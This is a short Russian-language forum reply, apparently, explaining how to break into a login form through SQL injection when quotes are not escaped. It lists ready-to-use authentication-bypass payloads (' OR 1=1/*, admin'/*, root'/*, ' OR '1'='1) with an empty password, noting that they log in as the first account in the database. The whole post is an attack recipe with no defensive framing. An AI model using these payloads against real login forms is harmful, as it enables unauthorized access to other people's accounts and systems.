да все просто, если там не слешируются или не фильтруются ковычки, то в логин либо
' OR 1=1/*
и пасс пустой, либо как предлогал монстр, подбирать логины
admin'/*
root'/*
итп и пасс пустой, либо
' OR '1'='1
в оба поля и авторизуешься с первой учетной записью в БД